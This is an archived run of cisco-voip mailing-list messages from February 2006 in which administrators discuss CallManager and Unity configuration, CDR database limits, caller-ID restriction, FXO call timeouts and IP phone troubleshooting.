Subject: [cisco-voip] Unity New Messages _ Quick
Message-ID: <D713462ED535184D830F6F6301753E7E01BE13CA@VISHNU.wesd.org>

Thanks for keeping it straight.  My bad.

 

Scott

 

________________________________

From: Tim Medley [mailto:medley at mac.com] 
Sent: Friday, February 10, 2006 8:39 AM
To: Voll, Scott
Cc: cisco-voip at puck-nether.net
Subject: Re: [cisco-voip] Unity New Messages _ Quick

 

Actually, We had so many registrations that we had to add a second
duplicate webinar. 

 

tm

 

 

Tim Medley

medley at mac.com

 





 

On Feb 10, 2006, at 11:35 AM, Voll, Scott wrote:





It got postponed until next Friday.

 

Scott

 

 

 

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Lelio Fulgenzi
Sent: Friday, February 10, 2006 8:18 AM
To: Simon, Bill; cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] Unity New Messages _ Quick

 

I think this brings up the importance of RepDials on the IP phones. Now
before I begin ranting, we define RepDials and Speeddials differently. A
speed dial is just that, enter a number and it dials it. RepDials on the
other hand are 'programmable' with features other than just digits, and
have the ability to use pause, pound, star, etc. A repdial on the IP
phone programmed with the users vmpilot, userid, password, and whatever
keysequence to get into new messages would be do what you want here.

 

PS: If you are a member of CIPTUG, don't forget the CIPTUG Webinar: FAC
Feature Request Review today. Membership has it's priveleges... ;)

 

------------------------------------------------------------------------
--------
Lelio Fulgenzi, B.A.
Network Analyst (CCS) * University of Guelph * Guelph, Ontario N1G 2W1
(519) 824-4120 x56354 (519) 767-1060 FAX (JNHN)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 
"I had a coffee and Coke at lunch today...and now, I've got more jitter
than an
IP phone on a long haul 10base2 connection"
LFJ

	----- Original Message ----- 

	From: Simon, Bill <mailto:BillS at tns.its.psu.edu>  

	To: 'cisco-voip at puck.nether.net' 

	Sent: Friday, February 10, 2006 10:59 AM

	Subject: RE: [cisco-voip] Unity New Messages _ Quick

	 

	I don't know what you're aiming for, but all you have to do is
press "1" to listen to new messages... doesn't get much simpler than
that.

	 

	If you're talking about removing the password prompt, I don't
know.  But I wouldn't recommend it.

	 

	---
	Bill Simon - bills at tns.its.psu.edu - (814) 865-2270
	http://tns.its.psu.edu/

	 

		 

		
________________________________


		From: Zevier Thoran [mailto:zthoran at yahoo.com] 
		Sent: Friday, February 10, 2006 10:15 AM
		To: cisco-voip at puck.nether.net
		Subject: [cisco-voip] Unity New Messages _ Quick

		Hi,
		How can I program Unity so that I have to press the
least amount of buttons to listen to new messages?
		Thanks
		-Zevier

		__________________________________________________
		Do You Yahoo!?
		Tired of spam? Yahoo! Mail has the best spam protection
around 
		http://mail.yahoo.com 

	
________________________________


	_______________________________________________
	cisco-voip mailing list
	cisco-voip at puck.nether.net
	https://puck.nether.net/mailman/listinfo/cisco-voip

 

From: "Bev Kandra" <bev at thetranscendgroup.com>

Date: February 8, 2006 4:25:05 PM EST

To: "Voll, Scott" <Scott.Voll at wesd.org>

Subject: CIPTUG NOTICE: FAC Webinar Date Change to 2/17 

 

 

 

 

<http://www.ciptug.org> 

<image001.gif> <http://www.ciptug.org> 

 

    FAC Webinar Schedule change!

You are registered for February 17th

 

 

 

You recently registered for the CIPTUG FAC Feature Request Review
Webinar on February 10, 2006.  

 

Please note:  You are now registered for the Friday, February 17th
session of the CIPTUG FAC Feature Request Review Webinar.  Date and Dial
in changes follow - noted in bold type. 

 

Please accept our apologies for any inconvenience this change may cause.

 

 

CIPTUG FAC FEATURE REQUEST REVIEW WEBINAR - FEBRUARY 17th 

 

A review of the top CallManager feature requests submitted to Cisco via
the CIPTUG Feature Advocacy Committee process. Cisco will outline the
detailed requirements followed by an open discussion soliciting feedback
to insure the feature functionality and operation meet the needs of
companies that requested the features.

 

 

Date:            February 17, 2006

Time:           1:30pm EST, 12:30pm CST, 10:30am PST

Presenter     Wade Hamblin, Cisco PM CCM

 

Meeting ID:        732668

Phone Number:  800-260-2140 (US only) or 1-617-231-2053

 

 

For Immediate Assistance within a call press #0

 

TEST YOUR BROWSER TODAY OR THE DAY BEFORE THE MEETING

 

Visit http://premium.meetingplace.net/mpweb/Scripts/browsertestupper.asp
to check system requirements. You will be able to test the web browser
for web conferencing ability. In addition, you will find useful
information to help run an efficient and productive meeting.

 

 

To attend choose one of the following options:

 

   a. Use the "Click-to-Attend" web link below or

   b. Call 800-260-2140 (US only) or 1-617-231-2053 and enter Meeting ID
732668 or

   c. Browse to http://wt4gw1.mymeetingplace.net
<http://wt4gw1.mymeetingplace.net/>  and enter Meeting ID 732668

 

 

"Click-to-Attend" Web Link:

http://wt4gw1.mymeetingplace.net/attend/FeEkfPmBpDgKjoCbfcNjJlIbNmEhkDbK
edhonhJnDaLdIpcpDndHdNkEooieDaIgAjIkkKahpiHdNoEdAfLpldoFloppbebdbag

 

 

 

 

 

  <http://www.ciptug.org/>  <http://www.ciptug.org/> 

<image001.gif> <http://www.ciptug.org/> 

<http://www.ciptug.org/> Subscription Information

You are receiving this information because you are a current member of
CIPTUG. CIPTUG respects the privacy of it's membership and utilizes it's
membership list only to facilitate CIPTUG functions and to provide our
users with interaction with Associate members. CIPTUG members may choose
to limit communications form CIPTUG to issues which require member
interaction. For more information about your privacy options as a CIPTUG
member and for help in adjusting those options, please contact us at
membership at ciptug.org <blocked::mailto:membership at ciptug.org> .

 

Approved CIPTUG Communication: kenjohnson at ciptug.org
<blocked::mailto:kenjohnson at ciptug.org> , 2006-January 13

<image001.gif>

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From karlr at SHERIDAN.EDU  Fri Feb 10 11:47:38 2006
From: karlr at SHERIDAN.EDU (Rubottom, Karl)
Date: Fri Feb 10 11:47:48 2006
Subject: [cisco-voip] CDR
Message-ID: <29365246B78D08469DE4B49D32BCB10E0244051D@scmail2.SHERIDAN.EDU>

What are popular CDR reporting applications?  We have been using Crystal
Reports and building our own reports. 

 

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Matt Slaga (US)
Sent: Friday, February 10, 2006 9:37 AM
To: Tim Medley; cisco-voip at puck-nether.net
Subject: RE: [cisco-voip] CDR

 

Most third party CDR reporting applications will move the CDR records to
a reporting server nightly prior to backups.  This allows the CDR
database to be purged prior to backup to save space and reduce time to
rebuild.  It also saved on CCM CPU cycles when running large enterprise
call usage reports since the reports are run against the reporting sql
database and not callmanager's.

 

Matt

 

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Tim Medley
Sent: Friday, February 10, 2006 11:30 AM
To: cisco-voip at puck-nether.net
Subject: Re: [cisco-voip] CDR

Something to consider with increasing the number of CDR's and with CDR's
in general is that the more CDR records you have in the database, the
larger your backup files will be and the longer it takes to perform an
upgrade. 

 

You can always export the CDR's for archival purposes.

 

tm

 

 

Tim Medley

medley at mac.com

 





 

On Feb 10, 2006, at 11:20 AM, Philip Walenta wrote:





The default is 2 million records.  How many more do you need?

	 

	
________________________________


	From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Rubottom, Karl
	Sent: Friday, February 10, 2006 7:41 AM
	To: cisco-voip at puck-nether.net
	Subject: [cisco-voip] CDR

	Is it possible to increase the maximum database rows in the CDR
database? 

_______________________________________________

cisco-voip mailing list

cisco-voip at puck.nether.net

https://puck..nether.net/mailman/listinfo/cisco-voip
<https://puck.nether.net/mailman/listinfo/cisco-voip> 

 

________________________________

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This e-mail communication and any attachments may contain
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From wsisk at cisco.com  Fri Feb 10 11:53:54 2006
From: wsisk at cisco.com (Wes Sisk)
Date: Fri Feb 10 11:54:05 2006
Subject: [cisco-voip] CDR
In-Reply-To: <29365246B78D08469DE4B49D32BCB10E0238FDF9@scmail2.SHERIDAN.EDU>
References: <29365246B78D08469DE4B49D32BCB10E0238FDF9@scmail2.SHERIDAN.EDU>
Message-ID: <43ECC522.3040509@cisco.com>

it is possible but consider -
your callmanager is performing real time call processing making sure you 
get dialtone in milliseconds.  That is not the appropriate platform for 
an archival system.

In CCMAdmin under service parameters for Cisco Database Layer Monitor 
you can configure the maximum number of records.  Increasing this number 
will consume more disk space and cause SQL server to consume more 
processing time.  This directly impacts the size of your backup, length 
of time to backup, length of time for CAR to generate reports.  It will 
also increase the amount of time necessary for your nightly database 
maintenance tasks (that rebuild indexes).  All of this is not a problem 
on an underutilized 7845, but a 7815 standing on it's last leg will 
begin to suffer.

CAR also has database purge parameters.  If you increase the DBLM 
service parameter, increase CAR as well.

/Wes

Rubottom, Karl wrote:
>
> Is it possible to increase the maximum database rows in the CDR database?
>
> ------------------------------------------------------------------------
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>   


From JKing at thegranitegroup.com  Fri Feb 10 11:55:47 2006
From: JKing at thegranitegroup.com (King, Jesse)
Date: Fri Feb 10 11:55:56 2006
Subject: [cisco-voip] VT Advantage Download
Message-ID: <80FDD0062521CE4084591182C4DDB6BE011087B0@papaya.thegranitegroup.com>

I'm updated to 4.1.3.sr2...
 
I really wanted to play around with the new IP communicator 2.0.1, and
tie it into VT Advantage... 
 
When attempting to press the video button on Communicator 2.0.1, It says
I need VT Advantage 2.0.1, but I only see 1.0.2 for download.
 
I can't seem to find the VT Advantage 2.0.1... Anyone know if this
exists for download yet?
 
Thanks.
 
Jesse
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From wsisk at cisco.com  Fri Feb 10 11:57:04 2006
From: wsisk at cisco.com (Wes Sisk)
Date: Fri Feb 10 11:57:15 2006
Subject: [cisco-voip] *67 route pattern with calling line set to restricted
In-Reply-To: <20060210161435.308.qmail@web34312.mail.mud.yahoo.com>
References: <20060210161435.308.qmail@web34312.mail.mud.yahoo.com>
Message-ID: <43ECC5E0.10306@cisco.com>

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From rratliff at cisco.com  Fri Feb 10 11:57:30 2006
From: rratliff at cisco.com (Ryan Ratliff)
Date: Fri Feb 10 11:57:24 2006
Subject: [cisco-voip] VT Advantage Download
In-Reply-To: <80FDD0062521CE4084591182C4DDB6BE011087B0@papaya.thegranitegroup.com>
References: <80FDD0062521CE4084591182C4DDB6BE011087B0@papaya.thegranitegroup.com>
Message-ID: <6528B6A4-6617-4600-B2A3-CC831A475F04@cisco.com>

No it's not out yet.

-Ryan

On Feb 10, 2006, at 11:55 AM, King, Jesse wrote:

I'm updated to 4.1.3.sr2...

I really wanted to play around with the new IP communicator 2.0.1,  
and tie it into VT Advantage...

When attempting to press the video button on Communicator 2.0.1, It  
says I need VT Advantage 2.0.1, but I only see 1.0.2 for download.

I can't seem to find the VT Advantage 2.0.1... Anyone know if this  
exists for download yet?

Thanks.

Jesse
_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip


From JKing at thegranitegroup.com  Fri Feb 10 11:57:54 2006
From: JKing at thegranitegroup.com (King, Jesse)
Date: Fri Feb 10 11:58:03 2006
Subject: [cisco-voip] VT Advantage Download
Message-ID: <80FDD0062521CE4084591182C4DDB6BE011087B1@papaya.thegranitegroup.com>

Thanks.

I'll keep an eye out for it.

 

-----Original Message-----
From: Ryan Ratliff [mailto:rratliff at cisco.com] 
Sent: Friday, February 10, 2006 11:58 AM
To: King, Jesse
Cc: cisco-voip at puck-nether.net
Subject: Re: [cisco-voip] VT Advantage Download

No it's not out yet.

-Ryan

On Feb 10, 2006, at 11:55 AM, King, Jesse wrote:

I'm updated to 4.1.3.sr2...

I really wanted to play around with the new IP communicator 2.0.1, and
tie it into VT Advantage...

When attempting to press the video button on Communicator 2.0.1, It says
I need VT Advantage 2.0.1, but I only see 1.0.2 for download.

I can't seem to find the VT Advantage 2.0.1... Anyone know if this
exists for download yet?

Thanks.

Jesse
_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip



From erickbe at yahoo.com  Fri Feb 10 12:53:36 2006
From: erickbe at yahoo.com (Erick Bergquist)
Date: Fri Feb 10 12:53:44 2006
Subject: [cisco-voip] *67 route pattern with calling line set to restricted
In-Reply-To: <43ECC5E0.10306@cisco.com>
Message-ID: <20060210175336.7131.qmail@web34309.mail.mud.yahoo.com>


I was using the Q931 translator in CCM Servicability
pages for 4.02a. 

I put the trace through the following tool and it
shows presentation allowed. I was using triple combo
which isn't as detailed... VLT also showed the
details. I'll have to go reset the gateways again and
make sure they really reset.

thanks for link to translatorX.

--- Wes Sisk <wsisk at cisco.com> wrote:


---------------------------------
  what version of q931 translator?  

http://www.employees.org/~pgiralt/TranslatorX/

The 0x80 and 0x81 are the presentation indicators,
indicating if thenumber is private or not.  the actual
number still has to be deliveredforsystem processing,
but PBX's are supposed to conceal the number fromend
user equipment.

/Wes

Erick Bergquist wrote:  
This is Q931 translator of call made... 1234 shows
upon phone as calling party number instead of nothing
orprivate, etc. 1234 is phones extension and RP does
nothave external party mask checked and is set
torestricted. SETUP  pd = 8  callref = 0x1EB6Bearer
Capability i = 0x8090A2Channel ID i = 0xA98393Calling
Party Number i = '!', 0x81, '1234'Called Party Number
i = 0x80, '1235556666'--- Wes Sisk <wsisk at cisco.com>
wrote:  
      
yep.  look check the ccm trace with q931 translatorto
make sure  we're setting it properly.also might be
worth a check with Dialed NumberAnalyzer to see what 
it says./WesOn Feb 9, 2006, at 8:52 PM, Erick
Bergquist wrote:Yea, the route group/detail and
gateway is set todefault and on route pattern is set
to restricted,sothe settings on the route pattern
should passthroughright?--- Wes Sisk <wsisk at cisco.com>
wrote:    
          
it's configurable1.on the route pattern2. where the
route gruop is made a member of theroute list3. on the
gateway.check all of those.  there is a slim chance
the      
        
PSTN    
          
is not honoring thesetting.  all you can do to
validate that is useq931 translator to lookat the
outbound SETUP from CM.  the privacy bits      
        
are    
          
part of the calledparty number and q931 translator
decodes nicely./WesErick Bergquist wrote:      
              
Have a situation where have a few 9*67.xxxxxxx        
            
route      
              
patterns and the external party mask is        
              
unchecked,    
          
and      
              
calling line presentation is set to restricted on     
  
            
RP.      
              
Route detail is set to default as well as        
            
gateway/MGCP      
              
endpoint. But when calls go out the outside        
              
caller    
          
is      
              
seeing the calling party number still.The gateway is a
6608. Anyone know what to look        
            
for in      
              
the traces to verify the call is going out
asrestricted? These *67 patterns used to work in      
 
            
past      
              
I'm being told.If you prefix *67 on called party
number so it        
            
goes      
              
out PRI with *67 the call fails.thanks        
              
__________________________________________________    
                  
Do You Yahoo!?Tired of spam?  Yahoo! Mail has the best
spam        
            
protection around      
              
http://mail.yahoo.com_______________________________________________cisco-voip
mailing listcisco-voip at puck.nether.net        
              
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You Yahoo!?Tired of spam?  Yahoo! Mail has the best
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From balbler at nts.at  Fri Feb 10 16:58:49 2006
From: balbler at nts.at (Bernhard Albler)
Date: Fri Feb 10 16:58:04 2006
Subject: [cisco-voip] VoiceXML: Display Caller Name
Message-ID: <5A8C69748176434F92F1EECD7D21F72C40A432@srvgraz03.nts.at>

Hi everyone,

I'm currently trying to implement a voicexml document which displays the
caller name on cisco ip phones. I can manipulate this information (and
get a name display) with tcl ivr by using the "displayinfo" infotag.
Does anyone know, if there is a way to achieve the same with voicexml?

Many thanks and best regards
bernhard


From jim at tgasolutions.com  Fri Feb 10 17:21:36 2006
From: jim at tgasolutions.com (Jim McBurnett)
Date: Fri Feb 10 17:21:44 2006
Subject: [cisco-voip] FXO disconnect
Message-ID: <D2BBAE709B4D874DAC556C7EB9D938FC0DB4CE@exchange.TGASolutions.local>

Has anyone seen a way to limit a call out an FXO port to X seconds?

I have a situation where I would like to disconnect an FXO call after 30
- 45 seconds.

An external paging system is getting inadvertantly activated via the 999
extension call by 7920s'

When the user puts the 7920 in his/her pocket and 999 is dialed the page
is open until someone goes into CM and finds them and goes to the
Gateway and disconnects them.

We would like to just like the activation of the page to 30 - 45 seconds
and not have to change the # or have the users lock the phone keypad...


Anyone have an idea?

Thanks,
Jim


From erickbe at yahoo.com  Fri Feb 10 19:58:54 2006
From: erickbe at yahoo.com (Erick Bergquist)
Date: Fri Feb 10 19:59:02 2006
Subject: [cisco-voip] FXO disconnect
In-Reply-To: <D2BBAE709B4D874DAC556C7EB9D938FC0DB4CE@exchange.TGASolutions.local>
Message-ID: <20060211005854.24940.qmail@web34307.mail.mud.yahoo.com>


H323 or MGCP gateway?  There's a TCL script
application you can use on h323 dial-peer to achieve
this. I can send later if needed. 

--- Jim McBurnett <jim at tgasolutions.com> wrote:

> Has anyone seen a way to limit a call out an FXO
> port to X seconds?
> 
> I have a situation where I would like to disconnect
> an FXO call after 30
> - 45 seconds.
> 
> An external paging system is getting inadvertantly
> activated via the 999
> extension call by 7920s'
> 
> When the user puts the 7920 in his/her pocket and
> 999 is dialed the page
> is open until someone goes into CM and finds them
> and goes to the
> Gateway and disconnects them.
> 
> We would like to just like the activation of the
> page to 30 - 45 seconds
> and not have to change the # or have the users lock
> the phone keypad...
> 
> 
> Anyone have an idea?
> 
> Thanks,
> Jim
> 
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
> 


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Tired of spam?  Yahoo! Mail has the best spam protection around 
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From it at cimgroup.com  Fri Feb 10 20:53:47 2006
From: it at cimgroup.com (IT)
Date: Fri Feb 10 20:49:21 2006
Subject: [cisco-voip] CDR LDAP Problems after 4.1(3) upgrade 
Message-ID: <B487D4C1FE6D04439061018C6EBC109B02A2763F@exchange.cimgroup.com>

I recently upgraded my callmanager from 4.0 to 4.1(3), and I use Active
Directory integration into my separate domain.
The upgrade went flawlessly, and the company directory, as well as the
CCMUser pages work exactly as expected.
However, we I try to log in to CDR, at https://10.96.3.11/art/
I get the following error:
[LDAP Access Error. Contact System Administrator.]

Any ideas?

I have already reinstalled CDR...

-avidan


From it at cimgroup.com  Fri Feb 10 21:29:09 2006
From: it at cimgroup.com (IT)
Date: Fri Feb 10 21:24:40 2006
Subject: [cisco-voip] CDR LDAP Problems after 4.1(3) upgrade 
Message-ID: <B487D4C1FE6D04439061018C6EBC109B02A27650@exchange.cimgroup.com>

I figured it out. There was a new version of the "Directory
Configuration Plugin" for 4.1(3). I installed it, and now everything
works.
Thanks,
Avidan

-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of IT
Sent: Friday, February 10, 2006 5:54 PM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] CDR LDAP Problems after 4.1(3) upgrade 

I recently upgraded my callmanager from 4.0 to 4.1(3), and I use Active
Directory integration into my separate domain.
The upgrade went flawlessly, and the company directory, as well as the
CCMUser pages work exactly as expected.
However, we I try to log in to CDR, at https://10.96.3.11/art/
I get the following error:
[LDAP Access Error. Contact System Administrator.]

Any ideas?

I have already reinstalled CDR...

-avidan

_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip


From it at cimgroup.com  Fri Feb 10 21:32:22 2006
From: it at cimgroup.com (IT)
Date: Fri Feb 10 21:27:53 2006
Subject: [cisco-voip] 7960 pc switch slowdown
Message-ID: <B487D4C1FE6D04439061018C6EBC109B02A27652@exchange.cimgroup.com>

We are experiencing an issue where one of our 7960 phones causes a
serious network slowdown for the PC that is daisy chained onto it. When
I say slow, I mean 50kb/s speeds. We have replaced the phone, and of
course we can use it in a location where a PC does not need to be
plugged in. But has anyone seen this before? Any fixes?
Thanks,
Avidan


From wsisk at cisco.com  Fri Feb 10 22:22:15 2006
From: wsisk at cisco.com (Wes Sisk)
Date: Fri Feb 10 22:22:33 2006
Subject: [cisco-voip] 7960 pc switch slowdown
In-Reply-To: <B487D4C1FE6D04439061018C6EBC109B02A27652@exchange.cimgroup.com>
References: <B487D4C1FE6D04439061018C6EBC109B02A27652@exchange.cimgroup.com>
Message-ID: <74069337-1240-4DA4-A70E-39520BE4B6EE@cisco.com>

what phone load?
do you use auto negotiation or hard coded speed and duplex on the  
switch port, phone network port, phone pc port, and PC interface?

/Wes

On Feb 10, 2006, at 9:32 PM, IT wrote:

We are experiencing an issue where one of our 7960 phones causes a
serious network slowdown for the PC that is daisy chained onto it. When
I say slow, I mean 50kb/s speeds. We have replaced the phone, and of
course we can use it in a location where a PC does not need to be
plugged in. But has anyone seen this before? Any fixes?
Thanks,
Avidan

_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip


From wsisk at cisco.com  Fri Feb 10 22:46:18 2006
From: wsisk at cisco.com (Wes Sisk)
Date: Fri Feb 10 22:46:34 2006
Subject: [cisco-voip] FXO disconnect
In-Reply-To: <D2BBAE709B4D874DAC556C7EB9D938FC0DB4CE@exchange.TGASolutions.local>
References: <D2BBAE709B4D874DAC556C7EB9D938FC0DB4CE@exchange.TGASolutions.local>
Message-ID: <B3C7210E-8AC4-4A0D-A76E-003B12393883@cisco.com>

hmm, no easy way to just limit call duration especially with any  
intelligence about voice detection.

couple of creative options though:
1. if mgcp use 'mgcp timer receive-rtcp <timer>' to configure the  
MGCP gw to disconnect the call after 30 seconds of no RTCP.  IPPhones  
do not generate RTCP.

1. if h323 configure the gw to RTCP timeout in 30 seconds. again  
ipphones do not generate RTCP
http://www.cisco.com/univercd/cc/td/doc/product/software/ 
ios123/123tcr/123tvr/vrht_t2.htm#wp1644934

2 . if your paging system does not provide inband audio back to  
ipphone, configure an ACL to block UDP traffic from the GW toward the  
ipphones and return ICMP unreachable messages.  then configure the  
RTP unreachable timeout down to 30 seconds
http://www.cisco.com/univercd/cc/td/doc/product/software/ 
ios123/123tcr/123tvr/vrht_m2.htm#wp1362166

3. use an IPCCX / CRA / IVR script to initiate the call to the paging  
system and disconnect after 30 seconds

/Wes

On Feb 10, 2006, at 5:21 PM, Jim McBurnett wrote:

Has anyone seen a way to limit a call out an FXO port to X seconds?

I have a situation where I would like to disconnect an FXO call after 30
- 45 seconds.

An external paging system is getting inadvertantly activated via the 999
extension call by 7920s'

When the user puts the 7920 in his/her pocket and 999 is dialed the page
is open until someone goes into CM and finds them and goes to the
Gateway and disconnects them.

We would like to just like the activation of the page to 30 - 45 seconds
and not have to change the # or have the users lock the phone keypad...


Anyone have an idea?

Thanks,
Jim

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https://puck.nether.net/mailman/listinfo/cisco-voip


From newlook110 at yahoo.com  Fri Feb 10 23:31:53 2006
From: newlook110 at yahoo.com (new look)
Date: Fri Feb 10 23:32:02 2006
Subject: [cisco-voip] How I can Make an Address Book for my CCM?
Message-ID: <20060211043153.76813.qmail@web61325.mail.yahoo.com>

Dear all,
  I need to allow my IP Phone users to know the others Phone No. and his name?
  Thanks



			
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From newlook110 at yahoo.com  Fri Feb 10 23:37:08 2006
From: newlook110 at yahoo.com (new look)
Date: Fri Feb 10 23:37:16 2006
Subject: [cisco-voip] How can I increase the no. of rings when I recieved
	another call on the waiting?
Message-ID: <20060211043708.45628.qmail@web61324.mail.yahoo.com>

Dear all,
  when I have a call and I recieved anothe the CCM ring twice for the guy that called me and then give him busy or massage So
  How can I increase the no. of  rings when I recieved another call on the waiting?
  Thanks

		
---------------------------------
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From erickbe at yahoo.com  Sat Feb 11 00:18:59 2006
From: erickbe at yahoo.com (Erick Bergquist)
Date: Sat Feb 11 00:19:07 2006
Subject: [cisco-voip] RTMT counter issues - 4.0(2a)es70
Message-ID: <20060211051859.35494.qmail@web34306.mail.mud.yahoo.com>

Anyone seen this with RTMT alerts before? Got some
alerts at 11:18am below, but no issues and no errors
in logs from that time and nothing dropped. BTW, On
the ES for bug id CSCef32166. 

Number of registered phones in the cluster drops 10
Percent.
Current monitored precanned object has decreased by
100 percent. 

Number of registered gateways decreased .
Current monitored precanned object has decreased by
33.

This is what is in DeviceLogs in the RTMTlogger
folder, at 11:10 counters are normal, but at 11:20 and
beyond something happened knocking them off. 

"02/09/2006
11:10:00","0","8","2","0","0","104","0","0","1","18","4","0","0","265","
1","0","0","0","0","0","0","0","1","0"


"02/09/2006
11:20:00","48452338","48452341","1312256","-89820838","830122","37","6",
"58524317","48452338","48452341","1312256","-89820838","830122","37","6"
,"58524317","72678508","72678512","1968384","-134731258","1245184","56",
"9","87786476"


"02/09/2006
11:25:00","72678508","72678512","1968384","-134731258","1245184","56","9
","77771756","72678508","72678512","1968384","-134731258","1245184","56"
,"9","77771756","72678508","72678512","1968384","103878036","1245184","5
6","9","78862376"

__________________________________________________
Do You Yahoo!?
Tired of spam?  Yahoo! Mail has the best spam protection around 
http://mail.yahoo.com 

From pwalenta at wi.rr.com  Sat Feb 11 00:22:03 2006
From: pwalenta at wi.rr.com (Philip Walenta)
Date: Sat Feb 11 00:22:06 2006
Subject: [cisco-voip] 7960 pc switch slowdown
In-Reply-To: <B487D4C1FE6D04439061018C6EBC109B02A27652@exchange.cimgroup.com>
Message-ID: <200602110522.k1B5M0Hr009659@ms-smtp-04.rdc-kc.rr.com>

The latest phone load (7.2.3) fixes two apparent "pc slowdown" issues. 

-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of IT
Sent: Friday, February 10, 2006 8:32 PM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] 7960 pc switch slowdown

We are experiencing an issue where one of our 7960 phones causes a serious
network slowdown for the PC that is daisy chained onto it. When I say slow,
I mean 50kb/s speeds. We have replaced the phone, and of course we can use
it in a location where a PC does not need to be plugged in. But has anyone
seen this before? Any fixes?
Thanks,
Avidan

_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip


From newlook110 at yahoo.com  Sat Feb 11 02:33:52 2006
From: newlook110 at yahoo.com (new look)
Date: Sat Feb 11 02:34:00 2006
Subject: [cisco-voip] Can I bulit an address book on the ip phone 7912
Message-ID: <20060211073352.9712.qmail@web61314.mail.yahoo.com>

Dear All,
  Can I bulit an address book on the ip phone 7912?If I can Can please tell me how?
  Thanks

			
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From medley at mac.com  Sat Feb 11 09:11:32 2006
From: medley at mac.com (Tim Medley)
Date: Sat Feb 11 09:11:40 2006
Subject: [cisco-voip] How I can Make an Address Book for my CCM?
In-Reply-To: <20060211043153.76813.qmail@web61325.mail.yahoo.com>
References: <20060211043153.76813.qmail@web61325.mail.yahoo.com>
Message-ID: <17D0F6B1-E3A9-4171-95BF-24B50E564855@mac.com>

By default, CallManager has the Corporate Directory which  
automatically includes all phones and users that are setup in the  
system. It is accessed on the phone via the directories button.

Is that what you are looking for?

tm

Tim Medley
medley at mac.com



On Feb 10, 2006, at 11:31 PM, new look wrote:

> Dear all,
> I need to allow my IP Phone users to know the others Phone No. and  
> his name?
> Thanks
>
>
>
> Yahoo! Mail
> Use Photomail to share photos without annoying attachments.
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip

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From zthoran at yahoo.com  Sat Feb 11 09:27:43 2006
From: zthoran at yahoo.com (Zevier Thoran)
Date: Sat Feb 11 09:27:51 2006
Subject: [cisco-voip] Dead Air on local Inbound calls
Message-ID: <20060211142743.23456.qmail@web37102.mail.mud.yahoo.com>

On my h323 gateway connected to callmanager,  when  an outside caller from within the local area code dials inbound, he gets dead air. All calls made from all other area codes work fine. How do I check in the Router and in Callmanager for any configuration errors for inbound calls?
Thanks - Zevier   

		
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From newlook110 at yahoo.com  Sat Feb 11 09:55:51 2006
From: newlook110 at yahoo.com (new look)
Date: Sat Feb 11 09:55:59 2006
Subject: [cisco-voip] How I can Make an Address Book for my CCM?
In-Reply-To: <17D0F6B1-E3A9-4171-95BF-24B50E564855@mac.com>
Message-ID: <20060211145551.60662.qmail@web61311.mail.yahoo.com>

Dear Tim,
  Thanks for your Co-operation. Yes that is exactly I'm looking for,but this Corporate Directory didn't appear in my IP phone.in the Directory button I have only the Missed Calls, ReceivedCalls and Placed Calls
  So,did I need any configuration on the CM?
  Note that I' m added some users and Associate each one by its device.
  Thanks


Tim Medley <medley at mac.com> wrote:   By default, CallManager has the Corporate Directory which automatically includes all phones and users that are setup in the system. It is accessed on the phone via the directories button.    

    Is that what you are looking for?
  

  tm
  
    Tim Medley
  medley at mac.com
  




    On Feb 10, 2006, at 11:31 PM, new look wrote:

    Dear all,
  I need to allow my IP Phone users to know the others Phone No. and his name?
  Thanks


  

  
---------------------------------
  Yahoo! Mail
Use Photomail to share photos without annoying attachments.   _______________________________________________
  cisco-voip mailing list
  cisco-voip at puck.nether.net
  https://puck.nether.net/mailman/listinfo/cisco-voip






		
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From newlook110 at yahoo.com  Sat Feb 11 10:11:51 2006
From: newlook110 at yahoo.com (new look)
Date: Sat Feb 11 10:12:00 2006
Subject: [cisco-voip] How I can Make an Address Book for my CCM?
In-Reply-To: <20060211145551.60662.qmail@web61311.mail.yahoo.com>
Message-ID: <20060211151151.23251.qmail@web61312.mail.yahoo.com>

Dear All,
  Thanks I Know the problem tha I use the IP of the TFTP Server in the IP Phone configuration but in the system prametaiers I use the TFTP Server name 
  Thanks

new look <newlook110 at yahoo.com> wrote:
    Dear Tim,
  Thanks for your Co-operation. Yes that is exactly I'm looking for,but this Corporate Directory didn't appear in my IP phone.in the Directory button I have only the Missed Calls, ReceivedCalls and Placed Calls
  So,did I need any configuration on the CM?
  Note that I' m added some users and Associate each one by its device.
  Thanks


Tim Medley <medley at mac.com> wrote:   By default, CallManager has the Corporate Directory which automatically includes all phones and users that are setup in the system. It is accessed on the phone via the directories button.    

    Is that what you are looking for?
  

  tm
  
    Tim Medley
  medley at mac.com
  




    On Feb 10, 2006, at 11:31 PM, new look wrote:

    Dear all,
  I need to allow my IP Phone users to know the others Phone No. and his name?
  Thanks


  

  
---------------------------------
  Yahoo! Mail
